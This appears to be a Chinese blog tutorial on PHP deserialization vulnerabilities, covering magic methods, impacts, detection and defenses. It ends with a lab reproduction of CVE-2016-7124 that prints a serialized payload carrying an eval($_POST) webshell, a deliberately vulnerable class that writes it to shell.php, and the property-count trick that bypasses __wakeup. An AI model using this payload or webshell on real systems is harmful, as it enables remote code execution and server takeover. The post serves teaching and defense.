首页 > 其他分享 >简析反序列化漏洞

简析反序列化漏洞

时间:2023-04-05 11:58:27浏览次数:40  
标签:target 对象 漏洞 简析 wakeup 序列化 方法

反序列化漏洞

反序列化漏洞一、漏洞原理相关概念什么是序列化与反序列化?漏洞成因常见魔术方法总结二、漏洞危害三、漏洞出现场景四、检测方法五、防御六、漏洞复现

一、漏洞原理

相关概念

什么是序列化与反序列化?

  • 序列化:把对象的状态信息转换为可以存储或传输的形式的过程,一般是将对象转换为字节流。在进行序列化时,对象的状态信息会被写入到临时或持久性存储区。(通俗点的说法:序列化即是把对象转换为流的过程,流可以写入存储区中,如硬盘等)

  • 反序列化:把序列化产生的流恢复成对象,是与序列化相反的过程

 

漏洞成因

反序列化漏洞的漏洞成因是基于序列化和反序列化的操作。

这里此以PHP语言为例,在进行反序列化时,若调用的unserialize()函数存在用户可控制的参数,而反序列化执行的过程中又会调用一些魔术方法,如果此时魔术方法内存在一些敏感操作例如eval()函数、***函数(且参数是通过反序列化产生的),那么用户就可以通过改变参数来控制执行敏感操作,这就是反序列化漏洞的成因。

 

常见魔术方法总结

魔术方法说明
_construct 是类的构造函数,每次创建新对象时都会调用这个方法
_destruct 是类的解析函数,解析函数会在某个对象的所有引用被删除或者当对象被显式销毁时执行,通常是脚本结束时执行
_toString 该方法用于一个类被当作字符串时应怎样回应,例如$echop $obj; 应该显示说明,此方法必须返回一个字符串,否则发出一条E_RECOVERABLE_ERROR级别的致命错误
_sleep 该方法在一个对象被序列化之前调用,会返回一个数组,其中包含着要被序列化的属性。它通常用于提交未提交的数据或者类似的清理操作。
_wakeup unserialize() 会检查是否存在一个 _wakeup() 方法,如果存在,反序列化成功后会自动的去调用这个方法,预先准备对象需要的资源,这个方法通常用于初始化操作,如重新建立数据库连接
_call 当对象调用了一个不可访问的方法时,_call() 就会被调用

 

二、漏洞危害

  • 远程代码执行(REC)

  • 权限提升

  • 任意文件读取

  • 拒绝服务攻击

 

三、漏洞出现场景

  • 缓存/持续性存储区

  • 数据库、缓存服务器、文件系统

  • 远程和进程间通信(RPC/IPC)

  • HTTP cookie、HTML表单参数、API身份验证令牌

  • 连线协议、Web服务、消息代理

 

四、检测方法

反序列化漏洞的检测方法主要还是通过代码审计,检索代码的魔术方法中是否含有敏感函数

 

五、防御

  • 完整性检查:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改

  • 在创建对象前强制执行类型约束

  • 尽量防止把用户的输入或者用户可控的参数直接放入反序列化操作中

 

六、漏洞复现

本次漏洞复现以反序列化漏洞cve_2016_7124()为例

漏洞成因:若在对象的魔术方法中存在wakeup()方法,那么之后再调用unserialize()方法进行反序列化之前则会先调用wakeup()方法,但是反序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过_wakeup()的执行

攻击步骤:

1、生成序列化字符串(利用脚本生成payload)

<?php
   classA{
   var $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>

 

2、使用序列化的字符串

"O:1:"A":1:{s:6:"target";s:4:"test";}" 
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名",s:属性值的长度:"属性值";}

改写上述序列化字符串,生成payload
"O:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}"

 

3、模拟反序列化漏洞,此处假设利用__wakeup方法过滤恶意代码

<?php
   class A{
   var $target = 'test';
   function __wakeup(){
       $this->target = "wakeup!";
  }
   function __destruct(){
       $fp = fopen("shell.php","w");
       fputs($fp,$this->target);
       fclose($fp);
  }
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php<br/>";
?>

 

访问上述文件,可以发现写入shell.php文件的内容被__wakeup()函数过滤

 

 

 

 

 

 

此时,若将payloadO:1:"A":1:{s:6:"target";s:33:"<?php @eval($_POST['hacker']); ?>";}中“A”后面的1(对象属性个数)改为大于1的数(此处改为30),则会跳过__wakeup方法,直接将padload写入shell.php文件

 

 

 

 

成功将payload写入文件后,可利用蚁剑,成功获取shell,漏洞复现成功

 

 

标签:target,对象,漏洞,简析,wakeup,序列化,方法
From: https://www.cnblogs.com/ykyu/p/17289064.html

相关文章

  • 小皮1-click漏洞的代码审计学习笔记
    漏洞简介漏洞起源于前段时间比较火的小皮1-click漏洞,用户名登录处缺少过滤,导致可以直接构造恶意payload实现存储型XSS,结合小皮本身所具有的计划任务,XSS+CSRF实现了RCE。因为用户名登录处缺少过滤,所以可以尝试SQL漏洞。环境搭建windows上实际操作了一下,不方便进......
  • 堆块chunk介绍及unlink漏洞利用原理
    堆块chunk介绍及unlink漏洞利用原理chunk结构当进程动态分配内存时,系统会在堆中创建一个chunk(堆块)。chunk包含chunk头和chunk体两部分chunk头中有两个字段:prev_size:前一个chunk的size,前指的之前分配的内存,也就是低地址相邻的chunksize:当前chunk的size,size字段的低3位A,M,P不......
  • golang CVE-2016-2183漏洞,https需要添加tls设置加密算法CipherSuites白名单,将弱加密算
    golangCVE-2016-2183漏洞,https需要添加tls设置加密算法白名单,将弱加密算法DES和3DES去掉。服务端样例代码packagemainimport("crypto/tls""fmt""net/http")funchandler(writerhttp.ResponseWriter,request*http.Request){fmt.Fprintf(wri......
  • 树:剑指 Offer 37. 序列化二叉树
    题目描述:请实现两个函数,分别用来序列化和反序列化二叉树。你需要设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列/反序列化算法执行逻辑,你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化为原始的树结构。提示:输入输出格式与LeetCo......
  • 文件包含漏洞
    文件包含渗透1.项目实验环境2.原理及危害文件包含漏洞:即FileInclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require__once())利用ur1去动态包含文件,此时如果没有对文件来......
  • 文件上传漏洞
    文件上传漏洞原理1、文件上传(FileUpload)是大部分web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺......
  • 使用drf的序列化类实现增删改查接口
    目录什么是DRF安装DRF基于原生创建五个接口基于rest_framework的增删改查查询多条数据流程创建表创建序列化类创建视图类增加路由查询单条数据序列化类不变视图类定义对象新增路由新增一条数据序列化类视图类修改一条数据视图类删除一条数据序列化之钩子函数校验局部钩子全局钩子......
  • Java 序列化详解
    XML和JSON是两种经常在网络使用的数据表示格式,这里我们介绍如何使用Java读写XML和JSON。 一、XML概述1、XML简介我们都知道对象是不能在网络中直接传输的,不过还有补救的办法。XML(ExtensibleMarkupLanguage)可扩展标记语言,本身就被设计用来存储数据,任何一个对象都可以用XML来描......
  • 04_靶机Kioptrix1.2:CMS漏洞利用,使用ht编辑器修改sudoers文件提权,mysql查询
    思路:发现主机后进行目录扫描,发现登录口标注了CMS的版本,查看该类型CMS有没有漏洞,针对漏洞去github搜索脚本,拿到脚本后运行得到靶机的初级Shell,根据靶机内的文件内容指示使用ht编辑器,利用编辑器去修改用户的权限然后提权,拿到root权限结束基操代码不再粘贴首先进行目标靶机地址的......
  • 漏洞丨CVE20102883
    作者丨黑蛋一、漏洞描述此漏洞编号CVE-2010-2883,看着是一个很简单的栈溢出漏洞,但是也要看怎么玩了。这个漏洞是AdobeAcrobatReader软件中CoolType.dll在解析字体文件SING表中的uniqueName字段的调用了strcat函数,但是对参数没有做出判断,没有检查uniqueName字段长度,导致了栈溢出......